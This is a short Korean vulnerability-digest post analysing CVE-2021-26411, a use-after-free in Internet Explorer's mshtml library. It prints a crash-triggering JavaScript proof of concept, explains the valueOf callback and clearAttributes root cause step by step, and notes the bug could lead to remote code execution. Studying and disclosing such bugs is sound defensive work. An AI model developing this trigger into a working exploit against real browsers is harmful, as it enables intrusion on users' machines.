[하루한줄] CVE-2021-26411 : Internet Explorer Use-After-Free vulnerability

URL

CVE-2021-26411: Internet Explorer mshtml use-after-free

Target

  • Internet Explorer

Explain

Microsoft의 브라우저인 Internet Explorer에서 파싱과 렌더링을 처리하는 mshtml 라이브러리에서 발견된 UAF 취약점의 세부 정보가 공개되었습니다.

크래시가 발생하는 PoC는 다음과 같습니다.

<script>
var elem = document.createElement('xxx'); 
var attr1 = document.createAttribute('yyy'); 
var attr2 = document.createAttribute('zzz'); 

var obj = {};
obj.valueOf = function() {
	elem.clearAttributes();
	return 0x1337;
};

attr1.nodeValue = obj;
attr2.nodeValue = 123;
elem.setAttributeNode(attr1);
elem.setAttributeNode(attr2);
elem.removeAttributeNode(attr1); 
</script>
  1. HTML element 객체 elem 와 HTML attribute 객체 attr1, attr2 를 생성합니다.
  2. attr1과 attr2 의 nodeValue에 값을 할당합니다. 이때 attr1의 nodeValue에는 valueOf 함수가 오버 로드된 객체를 할당합니다.
  3. attr1 및 attr2를 요소 개체 elem으로 설정합니다.
  4. elem.removeAttributeNode(attr1)을 호출해 elem에서 attr1을 제거합니다.
  5. removeAttributeNode 메서드는 elem 객체의 모든 속성 객체인 attr1 과 attr2를 지우기 위해 clearAttributes가 호출되는 동안 valueOf 함수에 대한 콜백을 트리거합니다.
  6. valueOf 콜백이 종료되면 IE 탭 프로세스가 NULL 포인터를 참조하게 되어 크래시가 발생합니다.

removeAttributeNode(attr1)는 내부적으로 CBase::GetIntoBSTRAt 함수에서 attr1의 nodeValue가 존재하면 BSTR로 변환해 BSTR 값을 CAttribute.nodeValue(+0x30)에 저장하는데, 이 과정에서 valueOf 콜백이 트리거 됩니다. valueOf 콜백 함수의 elem.clearAttributes()로 인해 attr1이 해제된 이후 정상적인 attr1의 Delete 프로세스에 의해 Double Free Bug가 발생합니다.

해당 취약점을 악용하면 arbitrary read/write를 통해 원격 코드 실행으로 이어질 수 있습니다.